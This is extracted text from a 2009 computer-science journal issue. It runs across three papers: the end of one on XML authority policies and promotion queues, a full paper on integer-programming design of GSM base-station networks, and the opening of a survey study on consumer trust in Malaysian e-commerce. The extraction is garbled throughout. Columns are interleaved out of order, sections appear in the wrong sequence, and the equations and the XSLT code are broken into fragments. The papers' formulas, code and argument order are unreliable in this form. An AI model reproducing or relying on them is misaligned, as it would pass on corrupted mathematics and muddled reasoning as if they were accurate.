the power of signing this document or not if yes in what capacity. There is a database maintained in the organization of xml policies for verification of proper authority for the person who is exercising his/her the document. The structure of database is as shown in the table 1. The first column table describes the Employees identification number given by the organization and the second column describes the XML policies associated with the person for verifying his/her authorities.
A. Assumptions • Let’s take three queues implementing three level (for simplicity we have taken only three level hierarchy) various level of the employees in the organization L1: Contain employees of the organization who just join,
Table 1 An Authority database Employees ID
L2: Contain employees at the second level after their promotion from first level i.e, first queue L1, and
XML policies
0 1
L3: contains employees at next higher level promoted from previous level. i.e L2.
The example of authorization policies [9] can be describing a person signing capabilities can be
•
For every level, Decide λn rate at which person are coming into the system and μn denotes the rate at which person are going out of the system.
<user> smith 1 <designation>manager
The below mentioned Figure1 shows various levels in the system where employees happens to be in the queue of promption.
<signing_limit>1000 signing_limit>
Figure1. Levels of Various Queues
V. AUTHORITY VARIATION When the person in an organization move from one level to other level their authority changes. For example, authority to review document, authority to sign document, authority to review people performance etc. The authority database for a person who got promotion should be updated. So, the table 1 records all the changes in person authorities and when person exercise his/her authority this table is referred and the policy for that person is verified according to the following stylesheet code.
Level L1
Level L2
Level L3
IV.
XML POLICY FOR THE USER
<xsl:stylesheet version ="1.0" xmlns:xsl="www.w3.org/1999/XSLT/Transform ">
The xml policy for the user contains information about the user who is signing the document the policy may contain information like user identification, his hierarchy or designation, his authorities for whether he has
<xsl:output method='html'/> <xsl:template match="/">
144
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. 1 & 2, 2009
one queue to another queue of promotion. We have implemented the queuing model to analyze the various people in the queue of their promotion and looked at various parameters like average waiting time. The method also implements the authority policy as a database of XML policies so that they can be referred at the time of taking decision about the authority of en employee.
<xsl: select = "//" /> <xsl:if test= "user/name='smith'"> <xsl:if test= "user/id='1'"> <xsl:if test= "user/designation='manager'"> <xsl:if test= "user/designation='1000'">
VII. APPLICATION AND FUTURE SCOPE
The above scheme can be applied in any organization where people exercise their authorities in an online manner not on paper. This is a scheme to be applied in an environment where electronic documents are mostly produced in every process and also, when people exchange their document outside the organization for doing contracts, paying payments etc. In the later case the policy database need to be maintained at both end but with policies made in such a way that does not expose the sensitive organization details, we can consider this case as an extension of the above scheme.
!Access allowed |
OUTPUT: True
ACKNOWLEDGMENT
The above result ‘True’ means that the person has exercised the right authority. VI.
We thank Dr I. J. Kumar, Principal, Bharati Vidyapeeth’s college of Engineering, New Delhi for his encouragement and support in carrying out the work.
CONCLUSION
We have presented the variation in authorities of a person in the organization as he moves from one higher level to other higher level means from IMPLEMENTATION AND RESULTS For Case 1: λn =6 μn =2 The output shows the probabilities of person in the system. And average time of the system.
Case 2: λn =8 μn =3
145
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. 1 & 2, 2009
REFERENCES [1]
[1] A.M. Fischer, Electronic Document Authorization”Proc.13th {NIST}-{NCSC} National computer security conference, Pages 62-71, 1990. [2] S.Rusell,” Audit-by-receiver paradigms for verification of authorization at source of electronic documents”, Computer and security, Volume 13, Issue 1, February 1994, Pages: 59 – 67. [3] Thomas Y.C. Woo, Simon S. Lam,”Authentication for distributed systems” IEEE Comput., Jan 1998, Pages 39-52 [4] Michiharu and Satoshi,”XML document security based on provisional authorization”, Proceedings of the 7th ACM conference on Computer and communications security table of contents, Athens, Greece, 2000, Pages: 87 – 96. [5] Patroklos G. Argyroudis and Donal O’Mahony,”Towards flexible authorization management”, Proc. ISSC 2005, IEEE Computer Society, Pages: 421-426 [6] Torsten Braum, Hahnsand Kim,” Efficient authentication and authorization of mobile users based on peer - to - peer network mechanism”, International Conference on system sciences, IEEE 2005, Page: 306.2 [7] E. Bertino, F. Buccafurri, D. Ferrari, and P. Rullo, “An Authorization Model and Its Formal Semantics," Proc. 5th European Symposium on Research in Computer Security", 127-142 (September 1998). [8] Burrows,” Method and apparatus for XSL/XML based authorization rules policy implementation”, United States Patent Application 20050102530A1 [9] J. Mukherjee, W. Atwood, “XML Policy Representation secure Multicast” Proceedings of the IEEE SoutheastCon 2005 Conference, Fort Lauderdale, Publication Date: 8-10 April 2005,Page(s): 580- 587 [10] Other Notation http://www.andrewferrier.com/oldpages/queueing_theory/Andy/other_n otation.html [11] Basic Terminology of Queueing Theory http://www.andrewferrier.com/oldpages/queueing_theory/Andy/terminol ogy.html [12] Sanjay k. Bose. “An Introduction to Queueing Systems”
The below Snapshot shows the for XML Policy verifications
Snapshot 1: Checking the Syntax of XML Code
AUTHORS PROFILE M.N.Doja is a professor in Computer Science and engineering Department, Jamia Millia Islamia, New Delhi, India. he has been the Head of Department and Chairperson for research and development board for the same department, for several year. Dharmender Saini received his B.Tech. from T.I.T&S in Computer Science in 1999 and M.Tech.in 2006 in Computer science and engineering from Guru jhambheswar university, hissar. During 2000-2007, he stayed in Bharati Vidyapeeth College of Engineering as Lecturer and Assistant Professor, Presently persuing PhD from Jamia Millia Islamia University,New Delhi,India
Snapshot 2: Checking the Syntax of XML Code
146
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
A Novel Model for Optimized GSM Network Design Alexei Barbosa de Aguiar, Plácido Rogério Pinheiro, Álvaro de Menezes S. Neto, Ruddy P. P. Cunha, Rebecca F. Pinheiro Graduate Program in Applied Informatics, University of Fortaleza Av. Washington Soares 1321, Sala J-30, Fortaleza, CE, Brazil, 60811-905 [email protected], [email protected], [email protected], [email protected], [email protected]
Abstract – GSM networks are very expensive. The network design process requires too many decisions in a combinatorial explosion. For this reason, the larger is the network, the harder is to achieve a totally human based optimized solution. The BSC (Base Station Control) nodes have to be geographically well allocated to reduce the transmission costs. There are decisions of association between BTS and BSC those impacts in the correct dimensioning of these BSC. The choice of BSC quantity and model capable of carrying the cumulated traffic of its affiliated BTS nodes in turn reflects on the total cost. In addition, the last component of the total cost is due to transmission for linking BSC nodes to MSC. These trunks have a major significance since the number of required E1 lines is larger than BTS to BSC link. This work presents an integer programming model and a computational tool for designing GSM (Global System for Mobile Communications) networks, regarding BSS (Base Station Subsystem) with optimized cost.
packet data transmission services instead of handling voice calls. Many of its mechanics are identical or similar to its voice counterpart and deals with HLR as well. Hierarchically below each MSC we have BSC (Base Station Controller) nodes. They are not present in IS-136 (TDMA) networks. BSC reduces the cost of the network. One of the reason is that it concentrates the processing intelligence of BTS (Base Transceiver Stations) nodes, which are the most numerous and spread equipments. Other impacting factor is that, although BSC depends on MSC for many activities, it is the first layer telephony switch, geographically concentrating traffic. This means that the trunks that carries the traffic from BSC to MSC are statistically dimensioned based on Erlang’s traffic theory instead of one-by-one channel fashion. The BTS radiates the RF (Radio Frequency) signal to the mobile phones and receive its signal back. Antennas in the top of towers or buildings radiate this RF, creating coverage areas called cells. The geographical allocation of BTS is guided by RF coverage and traffic demand.
Key words: GSM mobile network design, cellular telephony, Integer Programming (IP), Operations Research. I. INTRODUCTION
The GSM mobile networks have a very sophisticated architecture composed by different kind of equipments [14]. One of the most important of these equipments, located at the core of the network, is MSC (Mobile Switching Center). MSC has many vital duties like register and unregister MS (Mobile Station), analyze call destinations, route calls, handle signaling, locate MS through paging, control handover, compress and crypt voice, etc. Indeed, it is one of the most expensive components of the network. The HLR (Home Location Register) works as a subscriber database, storing information concerning its state, location, parameters and service data. It is constantly queried and updated by MSC.
Fig.1. Mobile Network Design The focus here will be concentrated in the BSS (Base Station Subsystem) which faces the radio resources towards MS. BSS is the group of equipments and softwares that integrates BSC
The SGSN (Serving GPRS Support Node) are analogous to MSC but are dedicated to the
147
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
number of voice channels available in some equipment and the measured traffic. To solve a congestion scenario this formula provides the number of channels that would be necessary to flow this traffic for a maximum tolerable GoS (2%, for instance). Other possibility is to calculate how much traffic can be carried with a given number of channels and the desired GoS.
nodes, BTS nodes and MSC. Transmission network plays an important role on linking them all. The network design usually starts at the cell planning department. The coverage area required given to cell planning engineer team and the traffic is estimated by geographic regions. This region’s traffic density variation can be very wide.
The Erlang B formula eq. (1) is shown below:
When coverage is the goal, RF engineers look for sites with high altitudes and free of obstacles to reach larger distances. On the other hand, when the goal is traffic, hotspots are distributed with full equipped BTS nodes. Its radio channel’s power is configured lower and the RF irradiation is directed to the “near” ground with a higher antenna tilt angle.
an eb = n! i n a Σ i=0 i!
In urban areas the BTS proximity is limited by interference since there is a limited number of RF channels and they are repeated on and on along the coverage area. The BTS sites are allocated in a triangular grid pattern, where it is possible. This allocation is due to the coverage pattern of its tree groups of antennas, disposed with 120º angles between then.
(1)
eb is the probability of blocking, also known as GoS, n is the number of resources (voice channels in this case) and a is the amount of traffic offered in Erlangs. Besides channel resources, some BSC have a deterministic way of allocation for other kind of resources. When a new radio channel is installed in a BTS, some required resources (processor and memory, for instance) are associated with this new radio channel in a fixed way. These resources are compromised with the radio channel, even though it is idle. Thus, this kind of BSC has a fixed maximal capacity, for instance, 4096 radio voice channels (slots).
Once all BTS placements are determined with its correspondent channel dimensioning, it is possible to plan how many BSC nodes are need, witch capacity each one may have and its geographical allocation. All this factors are highly related to the choices of which BTS nodes are linked to which BSC nodes. The links between BTS and BSC are E1 lines that hold voice channels slots. They are configured deterministically in a one-to-one basis, regarding the radio channels slots of the BTS. It is called Abis interface.
Some more modern BSC uses a pool of resources that are associated to radio voice channels on demand, when a call is made. This feature increases the BSC capacity. Using this type of BSC, its maximum capacity cannot be determined by its number of radio channels, but by its traffic in Erlangs. For instance, the 4096 radio voice channel BSC could be equivalent to a 4058 Erlangs (at 2% GoS) BSC model, with virtually unlimited number of radio voice channels, depending on their traffic demand.
On the other hand, trunks that link BSC to MSC are E1 lines dimensioned by the total traffic from all of its BTS. It is called A interface. These trunks are similar to trunks between two MSC or other conventional telephony switches. The voice channels in these trunks are seized statistically by demand and the total number of busy channels varies during the day. All calls must pass through the MSC, even when both subscribers are very close, in the same BTS and BSC area.
So the A interface from BTS to BSC is made of deterministic channels in E1 lines. These lines waste transmission resources. Moreover, the A interface from BSC to MSC is made of statistical channels in E1 lines. These lines are more efficient.
The Erlang B formula calculates the blocking probability (or congestion, or Grade of Service GoS) to a given number of resources (voice channel, normally) and offered traffic.
It was said that BSC reduces transmission costs, but they themselves represents network design costs. It is a design tradeoff. The more BSC we distribute along the coverage area, the lower are transmission costs, since the distances between BTS to BSC decreases. On the other hand, the BSC has its acquisition cost. The balance between these two costs is reached with
Each one of the three variables in this formula can be calculated from the two others depending on the context. The percentile of calls that are lost can be calculated for a given
148
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
the optimal geographical allocation of the BSC, associated with its correct choice of model that has its respective capacity and cost.
B. Restrictions In eq. (2), each BTS must be connected to one and only one BSC:
A typical GSM network has hundred or thousand BTS and tens or hundreds of BSC. The human capacity of designing efficient networks with such magnitudes is very limited and the network costs are high. The use of computational tools can reduce these costs radically. That is what is proposed here.
xij = 1,
i
T
(2)
j B
In eq. (3), the y lc dimensioning is made. It allows all traffic from BTS assigned to one BSC to flow over its links:
II. THE INTEGER PROGRAMMING MODEL
xil ai
This is an Integer Programming model [8] capable of minimizing the total network cost and providing the design solution to achieve this minimal cost.
T = t1 , t 2 , t 3 ,
i T
B = b1 ,b2 ,b3 , ,bn BSC nodes;
xij ai
, wo BSC models;
i T
C = c0 , c1 , c2 ,..., c p Link capacities; x ij Decision variables for link allocation between BTS node i and BSC node j;
y lc
Decision variables for choosing the capacity c of E1 (2 Mbps) lines between BSC l and MSC;
z lw
B
(3)
In eq. (4), the BSC dimensioning is made accordingly to the given models and the total traffic demand.
, t m BTS nodes;
W = w1 , w2 , w3 ,
f c ylc , l c C
ek z jk , j
B
(4)
k W
xij
0,1 ,
i T
j
B
(5)
ylc
0,1 ,
l
B
c
C
(6)
z lw
0,1 ,
l
B
k W
(7)
Decision variables for BSC l model III. MODEL APPLICATION
w choice.
ct ij
This model has some issues applications that must be observed.
Link cost between BTS i and BSC j nodes in an analysis time period;
cm lc Link cost of capacity c between BSC l nodes and MSC in an analysis time period;
BTS i traffic demand in Erlangs;
fc
Link capacity c in Erlangs;
ew
BSC model w traffic capacity in
Erlangs. A. Objective Function The objective function eq. (1) minimizes total cost of links between BTS and BSC, plus cost of E1 lines between BSC nodes and MSC, plus total cost of BSC's acquisition. minimize i T j B
ct ij x ij +
cm lc y lc + l B c C
d Bk W
real
The set of BTS nodes T is known previously because RF engineers make its design as the first step. Its geographical location is determined by coverage and traffic requirements. Its traffic demand can be known previously by measuring other mobile network (old one that is being replaced, or by other overlaid technology such as TDMA (Time Division Multiple Access) or CDMA (Code Division Multiple Access). When such data source is not available, this traffic demands can be estimated by average subscriber traffic and number of subscribers forecast based on population and marketing studies.
cb w BSC model w acquisition cost, considering an analysis time period;
ai
in
The set of BSC nodes B can be generated based on all feasible sites possibilities. The sites that will have a BTS are good candidates, since its space will be already available by rental or buy. Other company buildings can be added to this set. The set B represents all possibilities, and not necessarily the actual BSC allocations. The more options this set B has, the better the allocation of the needed BSC nodes tends to be.
cb k z dk (1)
149
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
minutes to solve.
The set W contains the available models of BSC. Normally a BSC manufacturer offers different choices of models. Each one has its capacity in Erlang (as it was modeled here) and price.
The data was generated using the following assumptions: The transmission cost was calculated multiplying the link distance by a constant. Local market cost approximations were used. The cost of n E1 line in the same link is assumed to be n times the cost of each E1 line.
The set C is a table of traffic capacities for an integer quantity of E1 lines. Each E1 line has a number of timeslots allocated for voice from the 31 available. Other timeslots are used for signaling and data links. Thus, the first E1 line may have a different number of voice timeslots than the second E1 line, and so on. Each voice timeslot carries 4 compressed voice channels, so called sub-timeslots.
The BTS and MSC site geographical locations where generated randomly. For each BTS site, a BSC site candidate was generated. The traffic of each BTS was generated randomly from 0 to 80 Erlangs that is the approximated value that a BTS can handle with 1 E1 line.
The elements of the set C are calculated by the reverse Erlang B formula, taking the number of voice channels and the defined GoS as incoming data and the traffic as outgoing data. The first element of set C is 0 E1 lines, which lead to 0 Erlang. The second element of set C is 1 E1 line and has a calculated traffic for 4 times the number of timeslots allocated for voice in this E1 line. This is because each timeslot has 4 sub-timeslots. The third element of set C is 2 E1 lines and has the traffic calculated for 4 times the number of timeslots allocated for voice in all 2 E1 lines, and so on. The size of the set C is determined by the maximal capacity of the larger BSC model.
The set C was generated with 41 values, from 0 E1 lines until 40 E1 lines. For each capacity, the corresponding traffic was calculated accordingly to the exposed in the model application session (3). Three BSC models where used in these simulations: Small, medium and large with 512, 2048 and 4096 Erlangs of capacity respectively. Each one had an acquisition cost compatible to the local market reality. OPL integrated modeling environment and Cplex 10.0 solver library [9] from Ilog Inc. were used in the simulations. OPL ran in a 64 bits Intel Core 2 Quad processor with 2.4 GHz clock and 4 GB of RAM memory.
The link costs ct and cb in a given period of analysis must be determined by the transmission network ownership and/or contract. If the transmission network belongs to the own mobile company, its cost can be determined by a set of distance ranges or as a constant times the distance, plus an equipment fixed cost. If the mobile company contracts transmission lines from other company, the costs must be calculated based on specific contractual rules. For instance, discounts based on quantity can be applied.
Despite the fact that 50 sites is a very small problem instance comparing to hundreds or even thousand sites of the real mobile networks, the simulations shown that this model works properly for the desirable purpose. Varying the costs, more or less BSC were allocated. Each BSC model was correctly chosen accordingly to the total traffic demanded by all BTS allocated to this BSC. The distances were minimized indirectly because of the linear cost by kilometer. The trunk between BSC and MSC was dimensioned to carry the total traffic demand by BSC, and its distance to MSC was effectively considered, since the amount of E1 lines was greater than one.
This integer programming model can be adapted to work with BSC that has maximum number of radio channels capacity, instead of maximum traffic capacity as presented. IV. COMPUTATIONAL RESULTS
The 20 problem instances were created and solved for each number of BTS sites varying from 5 until 50 with steps of 5. The data were generated randomly following the premises described in this section. The results are shown in table 1.
Simulations were made with many network sizes. The largest network size that could be solved in a reasonable time has about 50 sites. The different generated data caused big differences in the solving time. For instance: The smaller solving time for 50 sites with 3201 integer variables and 150 restrictions was 42.04 seconds, while other equivalent problem instances caused solver to spent more than 30
150
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
V. SCALABILITY ANALYSIS
Due to the wide range of random generated values, the problem instances have very high complexity variations. Thus, there were problem instances with 40 BTS that could not be solved within a reasonable time threshold. Some times the solver crashed because of memory lack. But, for the same reason, there are problems instances larger than 50 BTS that can be solved in a time interval even smaller than some particular instances of 40 BTS. The proposed model here is an Integer Programming one. The discrete nature of the variables requires an algorithm like Branchand-bound, Branch-and-cut or others. This sort of algorithms has an exponential complexity. This fact limits the larger instance size that can be handled. Actual networks often have hundred of BTS that is far beyond the range of this exact method. Aguiar and Pinheiro [13] used Lingo solver library and it was not able to handle problem instances larger than 40 BTS. The adoption of Cplex [9] expanded this boundary to 50 BTS, but it remains too small. A mean squares non-linear regression of the average times was made to determine the observed asymptotic complexity function. It is shown on eq. 8 and fig. 2.
y = 0,851e0,244x
BTS
Var.
Const.
Density
Avg. Time
Std. Deviation
5
96
15
9,72%
50,0
12,773
10
241
30
5,95%
40,0
8,208
15
436
45
4,43%
332,0
28,802
20
681
60
3,57%
853,5
86,418
25
976
75
3,01%
3561,5
371,594
30
1321
90
2,60%
19689,0
2872,227
35
1716
105
2,29%
46287,5
4890,274
40
2161
120
2,05%
600431,1
80263,118
45
2656
135
1,86%
363032,5
44981,655
50
3201
150
1,70%
752724,0
87873,235
Table 1 - Results After the model presentation, its application was shown explaining how to relate technical details of the real world with the model's data generation. In computational results section, size and performance simulations were described. The scalability was analyzed lead to some conclusions. This model by itself can't be used on real networks because of its limitation. Simulation with real networks can't show the optimization potential because small networks can be well designed by human intuition and have smaller costs. Some methodology must be applied to extend the size of the problems to achieve hundred or thousand BTS sites. Thus, the optimization gain can be very effective.
(8)
The key to break this limitation and turn big network designs feasible is to use approximate approaches. Some methodologies like Lagrangean relaxation in Simple Subgradient, Bundle Methods and Space Dilatation Methods (Shor et al [6, 7]) can be used. Rigolon et al [3] show that the use of this tool in the first model extends the size of the largest mobile network to be designed. A framework that hybridizes exact methods and meta-heuristics has presented good results in expanding these boundaries in other classes of problems. Nepomuceno, Pinheiro and Coelho [11] used this framework to solve container loading problems. In the same problem category, Pinheiro and Coelho [12] presented a variation of the implementation to work with cutting problems. VII. CONCLUSION
This work gave a solution to the BSS network design problem of mobile GSM carriers capturing its essence in a mathematical model. In introduction section some telecommunications background was given to help understanding the model. Then, the model was presented and explained.
151
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Time 800,00 700,00
Average Time y = 0,851e
0,244x
600,00 500,00
average time (s)
400,00 300,00
Expon. average time(s)
200,00 100,00 0,00 0 5 10 15 20 25 30 35 40 45 50 55 Number of BTS Fig. 2. Average time versus instance size BIBLIOGRAPHICAL REFERENCES [1] Kubat, P e Smith, J. MacGregor. “A multi-period network design problem for cellular telecommunication systems”. European Journal of Operational Research, 134:439-456, 2001. [2] Kubat, P., Smith, J. MacGregor e Yum. C. “Design of celullar networks with diversity and capacity constraints”. IEEE Transactions on Reability, 49:165–175, 2000. [3] Rigolon, A. A., Pinheiro, P. R., Macambira, E. M., Ferreira, L. O. R. A. Approximate Algorithms in Mobile Telephone Network Projects. International Conference on Telecommunications and Networking, Bridgeport, Springer Verlag, 2005, v. XV, p. 234-347 [4] Rodrigues, S. I. M. Relaxação Lagrangeana e subgradientes com dilatação de espaço aplicados a um problema de grande porte. RJ, 1993. [6] Shor, N. Z.Utilization of the operation of space dilatation in the minimization of convex functions. Cybernetics, 1:7-15, 1970. [7] Shor, N. Z. Zhurbenko, N. G. A minimization method using the operation of extension of the space in the direction of the difference of two successive gradients. Cybernetics, 7(3):450-459, 1970. [8] Wolsey, L. A. Integer programming. John Wiley & Sons, 1998. [9] ILOG. ILOG CPLEX 10.0 User's Manual, January 2006. [10] Shrage, L., Optimization Modeling with Lingo. Lindo Systems Inc., 1998. [11] N. V. Nepomuceno, P. R. Pinheiro, A. L. V. Coelho. Tackling the Container Loading Problem: A Hybrid Approach Based on Integer Linear Programming and Genetic Algorithms. Lecture Notes in Computer Science, v. 4446, p. 154-165, 2007. [12] N. V. Nepomuceno, P. R. Pinheiro, A. L. V. Coelho. A Hybrid Optimization Framework for Cutting and Packing Problems: Case Study on Constrained 2D Non-guillotine Cutting. In: C. Cotta and J. van Hemert. (Org.). Recent Advances in Evolutionary Computation for Combinatorial Optimization. Berlin / Heidelberg: Springer-Verlag, 2008, v. 153, p. 87-99.
[13] A. B. de Aguiar and P. R. Pinheiro. A Model for GSM Mobile Network Design, chapter Innovative Algorithms and Techniques in Automation, Industrial Eletronics and Telecomunications, pages 365-368. Springer Netherlands, Dordrecht, September 2007. [14] M. Mouly and M.-B. Pautet, GSM Protocol Architecture: Radio Sub - system Signaling , IEEE 41st Vehicular Technology Conference, 1991
152
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
A Study on the Factors That Influence the Consumers’ Trust on E-commerce Adoption Yi Yi Thaw
Ahmad Kamil Mahmood
Department of Computer and Information Sciences Universiti Teknologi PETRONAS, Tronoh, Perak, Malaysia
Department of Computer and Information Sciences Universiti Teknologi PETRONAS, Tronoh, Perak, Malaysia
P.Dhanapal Durai Dominic Department of Computer and Information Sciences Universiti Teknologi PETRONAS, Tronoh, Perak, Malaysia
privacy of e-commerce transactions. The present research intends to identify the factors which are directly related to consumers’ trust to adopt e-commerce in Malaysia. Therefore, this study is undertaken to answer the following research questions: Do consumers’ security and privacy concerns of online transaction significantly relate to their trust in ecommerce adoption? How do the trustworthiness and reliability of the Web vendors relate to the consumers’ adoption of e-commerce? What are the inter-relationships of security and privacy concerns, trust beliefs and risk perception, and how do these factors affect consumers’ behavior intention to adopt e-commerce?
Abstract—The development of electronic commerce is characterized with anonymity, uncertainty, lack of control and potential opportunism. Therefore, the success of electronic commerce significantly depends on providing security and privacy for its consumers’ sensitive personal data. Consumers’ lack of acceptance in electronic commerce adoption today is not merely due to the concern on security and privacy of their personal data, but also lack of trust and reliability of Web vendors. Consumers’ trust in online transactions is crucial for the continuous growth and development of electronic commerce. Since Business to Consumer (B2C) e-commerce requires the consumers to engage the technologies, the consumers face a variety of security risks. This study addressed the role of security, privacy and risk perceptions of consumers to shop online in order to establish a consensus among them. The analyses provided descriptive frequencies for the research variables and for each of the study’s research constructs. In addition, the analyses were completed with factor analysis and Pearson correlation coefficients. The findings suggested that perceived privacy of online transaction on trust is mediated by perceived security, and consumers’ trust in online transaction is significantly related with the trustworthiness of Web vendors. Also, consumers’ trust is negatively associated with perceived risks in online transactions. However, there is no significant impact from perceived security and perceived privacy to trust in online transactions.
II.
E-commerce has gained considerable attention in the past few years, giving rise to several interesting studies and industrial application, due to the Internet has created enormous change in the business environment. The Malaysian Government has made a massive move by launching the Multimedia Super Corridor (MSC) whereby one of its seven flagship applications includes the active promotion of the electronic business activities in the country. However, the acceptance level of the electronic commerce by the Malaysian consumers is still regarded very low compared to the other parts of the world especially the developed countries like the United States and the European Union. For example, the Small- and Medium-Sized Industries Association of Malaysia said in late 2005 that less than 5% of its members were involved in B2C business. According to Krishnan [1], the majority of Malaysians interested in e-commerce are males (66%) and males below 30 years (42%) is the largest individual group of Malaysians interested in e-commerce.
Keywords-perceived security and perceived privacy; perceived risk; trust; Web vendors; consumer behavior.
I.
LITERATURE REVIEW
INTRODUCTION
This study focuses on the aspect of e-commerce that utilizes the Internet and World Wide Web (WWW) as the technological infrastructure to communicate, distribute and conduct information exchange that would consequently lead to the commercial transactions between Web vendors and consumers. In addition, this study would likely to identify the main security and privacy issues concerns and the trustworthiness of the Web vendors to engage in e-commerce transaction and the effectiveness of security methods and applications in ensuring the confidentiality, integrity and
Considerable numbers of research findings [2], [3] and [4] have indicated that although e-commerce is spreading worldwide, customers are still reluctant to deal with it because of the security and privacy issues. A study of consumerperceived risk in e-commerce transactions by Salam et al. [5] indicated that consumers simply do not trust online vendors to
Universiti Teknologi PETRONAS, MALAYSIA
153
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
engage in transactions involving money and personal information. According to the authors, consumer-perceived risk is reduced with the increase in institutional trust and economic incentive.
issues, the Bill deals only with the way personal data is collected, stored, used and accessed. In essence, numerous research papers have been published during the last few years on various issues pertaining to ecommerce. Since this paper deals with building consumers’ trust in e-commerce transaction, it only cites literature relevant to the issue. The present research is intended to fill-up the gap on Malaysian consumers regarding identification of factors that help build their trust in greater e-commerce participation.
Ahmed et al. [6] surveyed that the major concerns on ecommerce adoption in Malaysia are: security and privacy over online transaction process and trust and reliability of online vendors. They suggested that in order to be successful in electronic marketplace, the organizations are expected to expend their resources and exert efforts to ensure that consumers’ concerns are adequately addressed. Dauda et al. [7] studied the perceived e-commerce security influence on adoption of Internet banking, and the role of national environmental factors such as attitude, subjective norms, and perceived behavioral control factors towards adoption, and compares these factors with Singapore Internet banking adoption. They found that consumer perceived nonrepudiation, trust relative advantage Internet experience and banking needs are the most important factors that affect adoption in Malaysia. Organizations were reluctant to use ecommerce as they felt that the transactions conducted electronically were open to hackers and viruses, which were beyond their control. Khatibi and Scetharaman [8] mentioned that Malaysian e-commerce industry has not taken off as expected. By means of a survey of 222 Malaysian manufacturers, traders and service providers, the authors concluded that from the company’s point of view, the main barriers of e-commerce adoption are: concern on security and privacy followed by the hustle of keeping up with the technology, uncertainties regarding rules and regulations, high set up cost of Ecommerce, lack of skilled workers and so on. The authors suggest that any policy that aims at promoting ecommerce should take these factors into consideration.
III. RESEARCH DESIGN AND METHOD The main objective of this study is to identify the factors that contribute to the consumers’ willingness to engage in ecommerce transactions, and further study the relationship between those factors. Therefore, this study will focus on the following sub-objectives: •
To study whether or not consumers’ perceived security and privacy of online transaction significantly affect their confidence to adopt e-commerce.
•
To identify the factors of trust with web vendors to engage in transactions involving money and personal data.
•
To study the role of institutional trust and economic incentive in consumers’ perceived risk in the context of e-commerce.
The factors considered to be influencing consumers’ confidence to adopt e-commerce are grouped into four main categories: consumers’ attitudes towards secure online transaction processing systems, privacy of consumers’ personal data, trust and reliability of online vendors, and consumers’ perceived risk in e-commerce transactions. The model to be tested is shown in Figure 1.
According to mid-2005 survey conducted by the Malaysian Communications Multimedia Commission (MCMC), only 9.3% of internet users had purchased products or services through the internet during the preceding three months [9]. The primary reasons cited for this are: lack of security and privacy of consumers’ personal data including credit card number, identity theft, virus, break-in attacks, denial-of-service, and so on. Lincoln Lee [10], Senior Analyst, Telecommunication Research, IDC Malaysia, mentioned that “the Malaysia ecommerce market has exhibited a healthy growth rate of 70% in 2006 in comparison with that in 2005. However, in order to ensure sustainable growth, there is still plenty of work to be done to develop this industry into a mature market”. Jawahitha [11] raised serious concern on the protection of Malaysian consumers dealing with e-commerce transactions. According to her, the existing laws pertaining to conventional businesses are not sufficient to address the issues in e-commerce. Malaysian government has already taken steps to pass new laws and to amend some of the existing laws and until this effort is materialized, the Malaysian electronic consumers would not be having adequate protection. To protect e-commerce consumers’ privacy, Malaysian legislators have devised a personal data protection bill [12]. The author examined the nature, manner and scope of personal data protection under this Bill. She suggests that instead of being concerned with the full range of privacy and surveillance
Perceived Information security
H1+ Consumers’ Trust in ECommerce Transaction
H3+ H2+ Perceived Information i Trustworthiness of Web Vendor
H7Perceived Risk
H5H4+
Institutional trust
H6Economic incentives
Figure 1. Research Model.
Specifically, the following hypotheses are to be tested: H1: A consumer’s perceived security of online transaction positively contributes to his/her trust in online transaction. H2: A consumer’s perceived privacy of online transaction positively contributes to his/her trust in online transaction.
154
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
H3: The influence of a consumer’s perceived privacy of online transaction on trust is mediated by perceived security.
respondents who are not willing to purchase online in the near future were asked about the reason(s) for that. The major reason (35.5%) was cited to be the concern on security and privacy of their personal data, followed by lack of interaction (about 27.1%) and cannot feel product (about 22.4%). All the respondents were also asked about their opinion on credit card security for online purchases. The majority of the respondents (about 54.1%) believe that the use of credit card for online purchases is not safe, while about 11.8% believe somewhat safe. About 8.2% of the respondents are indifferent on online credit card security and the remaining (about 24.7%) respondents are not sure about this.
H4: A consumer’s trust in online transaction is positively related with the trustworthiness of Web vendor. H5: The increase in institutional trust reduces consumers’ perceived risk in online transaction. H6: The increase in economic incentives reduces consumers’ perceived risk in online transaction. H7: A consumer’s trust in online transaction is negatively associated with perceived risk in online transaction. A survey instrument in the form of questionnaire was developed that consisted of three sections. Section 1 consisted of questions to collect respondents’ personal information (i.e., gender, age, race, etc). Section 2 consisted of questions covering some of the variables related to online purchase and adoption of electronic commerce. Specifically, the questions were designed to collect information on frequency of internet use, frequency of online purchases, intention to continue online purchasing, etc. Section 3 consisted of questions covering some of the variables related to factors affecting ecommerce security, privacy, and trust as well as risk perceptions. Questions in this section collected information related to attitudes towards secure online transaction processing system, privacy of personal data, trustworthiness of Web vendors, and consumers’ perceived risk. All the variables in this section employed Likert scale with endpoints ranging from 1 (strongly disagree) to 5 (strongly agree).
